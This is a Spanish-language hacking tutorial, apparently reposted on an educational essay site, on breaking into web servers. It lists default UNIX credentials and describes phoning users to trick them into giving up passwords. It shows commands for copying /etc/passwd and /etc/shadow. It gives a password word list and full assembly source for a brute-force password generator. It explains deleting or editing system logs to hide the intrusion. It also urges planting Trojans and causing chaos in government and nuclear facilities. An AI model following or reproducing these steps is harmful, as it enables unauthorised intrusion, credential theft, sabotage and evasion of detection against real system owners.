|
Hackeando una web
1. Introducción
Si alguna vez has hechado a volar tu imaginación se te habrá ocurrido que seria cómico remover algunas gráficas de algún website, o mejor aun borrar toda la pagina de algún enemigo para deleitarte con tu venganza. Pues bien este es el manual que te ayudara a lograrlo.
Primero
deberás entender que andar por ahí borrando paginas es
*TONTO* e inmaduro. Lo que trato de hacer es que sientas la adrenalina de
entrar a un sistema al que no estés autorizado y
echar una ojeada alrededor. Si te dedicas a invadir sistemas
y borrar archivos le quitaras el privilegio a otra persona de
entrar a ese sistema ya que el operador se dará cuenta de la intrusión y
aumentaran la seguridad negando así la entrada a más 'intrusos'. Si el sistema
al que entraste pertenece a unos hijos de la chingada (Plantas Nucleares,
Creadores de abrigos de piel, Agencias de Gobierno etc.) olvida lo antes dicho
y haz que se arrepientan de haberse conectado a la red causando kaos o mejor
aun infectándolos con algún buen virus (por que no reemplazar un
ejecutable por un caballo de Troya?). En fin usa tu cabeza y cuida de no ser
sorprendido en tus viajes de kAoS.
2. Websites
Un
website es solamente una computadora llamada servidor por su capacidad de
realizar diferentes tareas al mismo tiempo
ejecutando un sistema operativo que generalmente será UNIX o
algunas de sus variaciones y con toda la información guardada en algún medio.
2.1 Ganando acceso a un servidor WWW
Aquí reside la magia del Hacker, la protección común son dos preguntas Login y Password. El usuario que tenga una cuenta en ese servidor tiene un nombre de usuario (Login) y contrase¤a (Password) por lo que la entrada a ese servidor no tiene problemas; pero para una persona ajena a ese servidor la entrada es un poco más complicada.
Para poder penetrar el sistema necesitamos saber su URL y una vez conectados con el explorador prestar atención al mensaje waiting reply from 103.38.28 o algo parecido que haga aparecer una dirección IP en lugar de el nombre de dominio.
Si lograste conseguir la dirección IP usa telnet para conectarte a esa dirección. Si cuando tratas de conectarte aparece el mensaje 'connection refused' probablemente este protegida esa dirección con una FIREWALL. Si este es el caso trata de hacer telnet a el nombre de dominio con la finalidad de llegar a el frustrante LOGIN/PASSWORD.
Para
entrar necesitas conseguir alguna cuenta haciendo algo de
ingeniería social o intenta con los defaults.
* CUENTAS DEFAULTS DE UNIX *
Login: Password:
root
root
root
system
sys
sys
sys
system
daemon
daemon
uucp
uucp
tty
tty
test
test
unix
unix
unix
test
bin
bin
adm
adm
adm
admin
admin
adm
admin
admin
sysman
sysman
sysman
sys
sysman
system
sysadmin
sysadmin
sysadmin
sys
sysadmin
system
sysadmin
admin
sysadmin
adm
who
who
learn
learn
uuhost
uuhost
guest
guest
host
host
nuucp
nuucp
rje
rje
games
games
games
player
sysop
sysop
root
sysop
demo
demo
Si
fracasas al intentar el acceso usando cada uno de los anteriores logins,
probablemente tengas que conseguir el password de otra manera como relaciones
humanas; esto significa que vas a tener que conseguir la clave valiéndote de
trucos como hablar por teléfono a una persona que sepas que esta
registrada en ese servidor y pedirle su Login y Password diciendo que necesitas
validar su cuenta o algo parecido. Otra manera de conseguir un Password es
crear un programa que robe las claves de acceso del disco duro de una
persona.
3. Cuando se esta adentro
Una vez que hayas logrado entrar a un sistema necesitaras localizar y obtener el archivo passwd disponible en el directorio /etc.
Para
obtener el archivo PASSWD usa el siguiente ejemplo:
($
simboliza el prompt UNIX)
$ ftp
FTP get /etc/passwd
FTP quit
Para ver el contenido de el archivo usa el siguiente comando:
$ cat
/etc/passwd
Una
vez que tengas en tu posesión el archivo PASSWD edítalo y fíjate en su
contenido, deberá tener la siguiente información:
usuario:contrase¤a:ID:Grupo:descripcion/nombre:directorio:shell
usuario
- Este es el login de algun usuario.
contrase¤a
- Es el password de el usuario (encriptada con DES)
ID
- Es la identificación de ese usuario.
grupo
- El grupo al que pertenece esta cuenta.
descripcion-
El nombre del usuario.
directorio
- El directorio de acceso de el usuario.
shell
- El shell que procesa los comandos de ese usuario.
Un ejemplo podría ser:
john:234abc56:9999:13:John Johnson:/home/dir/john:/bin/john
Nombre
de usuario: john
Password
encriptado: 234abc56
Usuario
numero: 9999
Numero
de grupo: 13
Descripcion:
John Johnson
Directorio
de acceso: /home/dir/john
Shell:
/bin/john
Si el archivo que conseguiste contiene la misma información pero en el campo del password tiene un asterisco (*) o cualquier otro carácter, significa que las contrase¤as se encuentran 'sombreadas'.
Si las contrase¤as se encuentra sombreada,las podrás encontrar en el archivo shadow aunque generalmente no se puede tener acceso a ese archivo a menos de tener root. Una forma de conseguir SHADOW es usando el comando cp para copiarlo a otro archivo y después tratar de obtener el archivo al que se copio, ejemplo:
$cp /etc/shadow
/usuarios/carlos/hack.txt
$ftp
FTP get
/usuarios/carlos/hack.txt
FTP quit
$rd
/usuarios/carlos/hack.txt
Ya tengo los passwords encriptados, ahora que?
Los passwords están encriptados usando one-way encription, significa que no se pueden des-encriptar. Lo que Unix hace es obtener la contrase¤a del usuario,la encripta y la compara con la que ya esta encriptada, si coinciden entonces se le permite el acceso.
Para
poder obtener las contrase¤as es necesario tener un archivo con
palabras y usar un programa para que encripte las palabras del archivo y
las compare con las contrase¤as encriptadas,si coinciden te avisa
que palabra fue la que coincidió con la contrase¤a encriptada.
Algunos
programas de este tipo son:
Nombre Palabras por Segundo Computadora
John the
Ripper
5077
586
Starcracker
1300
586
Cracker
Jack
1008
586
KillerCracker
350
586
Para
conseguir listas de palabras haz FTP a el siguiente servidor:
warwick.ac.uk
directorio:
/pub/cud
Algunas de las palabras mas usadas en
contraseñas son:
aaa
academia
ada adrian
aerobics
airplane
albany albatros
albert
alex
alexander algebra
alias
alisa
alpha alphabet
ama
amy
analog anchor
andy
andrea
animal answer
anything
arrow
arthur ass
asshole
athena
atmosphere bacchus
badass
bailey
banana bandit
banks
bass
batman beautiful
beauty
beaver
daniel danny
dave
deb
debbie deborah
december
desire
desperate develop
diet
digital
discovery disney
dog
drought
duncan easy
eatme
edges
edwin egghead
eileen
einstein
elephant elizabeth
ellen
emerald
engine engineer
enterprise
enzyme
euclid evelyn
extension
fairway
felicia fender
finite
format
god hello
idiot
jester
john johnny
joseph
joshua
judith juggle
julia
kathleen
kermit kernel
knight
lambda
larry lazarus
lee
leroy
lewis light
lisa louis
love lynne
mac
macintosh
mack maggot
martin
marty
marvin matt
master
maurice
maximum merlin
mets
michael
michelle mike
minimum
nicki
nicole rascal
really
rebecca
remote rick
reagan
robot
robotics rolex
ronald
rose
rosebud rosemary
roses
ruben
rules ruth
sal
saxon
scheme scott
secret
sensor
serenity sex
shark
sharon
shit shiva
shuttle
simon
simple singer
single
singing
smile smooch
smother
snatch
snoopy soap
socrates
spit
spring subway
success
summer
super support
surfer
suzanne
tangerine tape
target
taylor
telephone temptation
tiger
tigger
toggle tomato
toyota
trivial
unhappy unicorn
unknown
urchin
utility vicki
virginia
warren
water weenie
whatnot
whitney
will virgin
william winston
willie wizard
wonbat
yosemite
zap whatnow
Obtuve algunas cuentas, ahora?
Para poder hacer y deshacer en el servidor necesitas el password de la cuenta root. Si después de intentar con algunas listas de palabras no puedes necesitaras hacer un ataque en bruto, es decir empezar desde la letra A hasta la palabra zzzzzzzz
El
siguiente programa necesita ser compilado usando TASM y es una lista de
palabras TSR que no ocupa espacio en disco y puede ser modificada, es
ideal para ataques brutos a la cuenta r00t_ (Programa Copiado de Phrack 47)
P A S S W O R D E N G I N
E (for IBM
PC's)
by Uncle Armpit
+++++++++++++++++++++++++++++++++++++++++++++
Que tan practico es?
Este programa no necesita mucho espacio en disco y puede crear listas de palabras de gran tama¤o.
Con
el ejemplo proporcionado, passwords empezando en 'aaaaaaa' y terminando en
'zzzzzzz' serán generados.
Como empiezo a usar esta lista de palabras?
Compila el código y nómbralo "hackdrv.sys", después necesitas configurarlo añadiendo la siguiente línea en CONFIG.SYS
device=c:\hackdrv.sys
Una vez en memoria el programa creara la lista de variables en memoria llamada HACKPWD. Cualquier programa que uses (excepto StarCracker) deberá reconocer hackpwd como una lista de palabras y empezar a crackear.
Si deseas reiniciar una sesión desde una combinación especifica solo modifica el archivo HACKDRV.SYS con un editor HEXADECIMAL y modifica la cadena de caracteres con los que empieza ;-0
;-----------------------cut
here--------------------------------
;Program HACKDRV.SYS
;
org 0h
next_dev dd -1
attribute dw
0c000h
;character device w/ ioctl calls
strategy dw dev_strategy
interrupt dw dev_int
dev_name db 'HACKPWD '
countr dw offset number
number db
'aaaaaa',0ah ;<---- 6
caracteres en minusculas (empiezo)
numsize equ $-number - 2
afternum:
;working space for device driver
rh_ofs dw ?
rh_seg dw ?
dev_strategy:
;strategy routine
mov cs:rh_seg,es
mov cs:rh_ofs,bx
retf
dev_int:
;interrupt routine
pushf
push ds
push es
push ax
push bx
push cx
push dx
push di
push si
cld
push cs
pop ds
mov bx,cs:rh_seg
mov es,bx
mov bx,cs:rh_ofs
mov al,es:[bx]+2
rol al,1
mov di,offset cmdtab
xor ah,ah
add di,ax
jmp word ptr[di]
cmdtab:
;command table
dw init ;0
dw exit3 ;1
dw exit3 ;2
dw ioctl_read ;3
dw do_read ;4
dw exit3 ;5
dw exit3 ;6
dw exit3 ;7
dw exit3 ;8
dw exit3 ;9
dw exit3 ;10
dw exit3 ;11
dw ioctl_write ;12
dw exit3 ;13
dw 5 dup (offset exit3)
ioctl_read:
push es
push bx
mov
si,es:[bx+10h]
mov
di,es:[bx+0eh]
mov es,si
push cs
pop ds
mov si,offset number
xor cx,cx
get_char:
lodsb
stosb
inc cl
cmp al,0ah
jz ioctl_rend
jmp get_char
ioctl_rend:
pop bx
pop es
mov es:[bx+012h],cx
mov cs:countr,offset number
jmp exit2
ioctl_write:
push es
push bx
mov si,es:[bx+010h]
mov ds,si
mov si,es:[bx+0eh]
mov
cx,numsize+1
;es:[bx+012h]
push cs
pop es
mov di,offset number
repe movsb
pop es
pop bx
mov cs:countr,offset number
jmp exit2
do_read:
push es
push bx
push cs
pop ds
mov si,[countr]
inc
si
;word ptr [countr]
cmp si,offset afternum
jnz is_okay
mov si,offset number
call inc_num
is_okay:
mov [countr],si
mov di,es:[bx]+0eh
mov ax,es:[bx]+010h
mov cx, es:[bx]+012h
jcxz clean_up
mov es,ax
repe movsb
clean_up:
pop bx
pop es
jmp exit2
exit3: mov es:word ptr 3[bx],08103h
jmp exit1
exit2:
mov es:word ptr 3[bx],0100h
exit1:
pop si
pop di
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
popf
retf
exit:
inc_num proc near
push si
mov si,numsize
reiterate:
inc byte ptr [number+si]
cmp byte ptr
[number+si],'z'+1 ;+1 past ending char. in range
jnz _exit
mov byte ptr
[number+si],'a' ;starting char. in range
dec si
cmp si,-1
jnz reiterate
mov byte ptr [number],01ah
;send EOF
_exit:
pop si
ret
inc_num endp
at_eof: ; the non-resident code starts here
initial proc near
push es
push cs
pop ds
push cs
pop es
mov si,offset number
mov di,offset tmpnum
cld
_again:
lodsb
cmp al,0ah
jz _nomorechars
stosb
jmp _again
_nomorechars:
mov si,offset msgend
mov cx,4
repe movsb
mov
ah,09
;print welcome message
mov dx,offset msg1
int 21h
pop es
ret
initial endp
init: call initial
mov ax,offset at_eof
mov es:[bx]+0eh,ax
push cs
pop ax
mov es:[bx]+010h,ax
mov cs:word ptr cmdtab,offset exit3
jmp exit2
msg1 db "Incremental Password
Generator (c)1995",0ah,0dh
db
"Written by Uncle Armpit",0ah,0dh,0ah,0dh
db
"Starting at word ["
tmpnum db 10 dup (?)
msgend db "]",0a,0d,'$'
;END hackdrv.sys
----------------------------------cut
here----------------------------------
Como limpiar tus huellas
Si deseas que tu ingreso con la cuenta r00t no quede registrado en los LOGS de el servidor revisa los directorios buscando archivos como logs, syslog, log, o cualquiera que parezca que guarda un reporte de los accesos y bórralos o mejor aun edítalos usando el editor de archivos de UNIX. Para ejecutar el editor usa el comando vi
Edita
o borra los siguientes archivos: /etc/syslog
/etc/log
/etc/logs
Existen algunos scripts para borrar
las huellas como ZAP.
Aún no hay comentarios para este recurso.
Monografias, Exámenes, Universidades, Terciarios, Carreras, Cursos, Donde Estudiar, Que Estudiar y más: Desde 1999 brindamos a los estudiantes y docentes un lugar para publicar contenido educativo y nutrirse del conocimiento.
Contacto »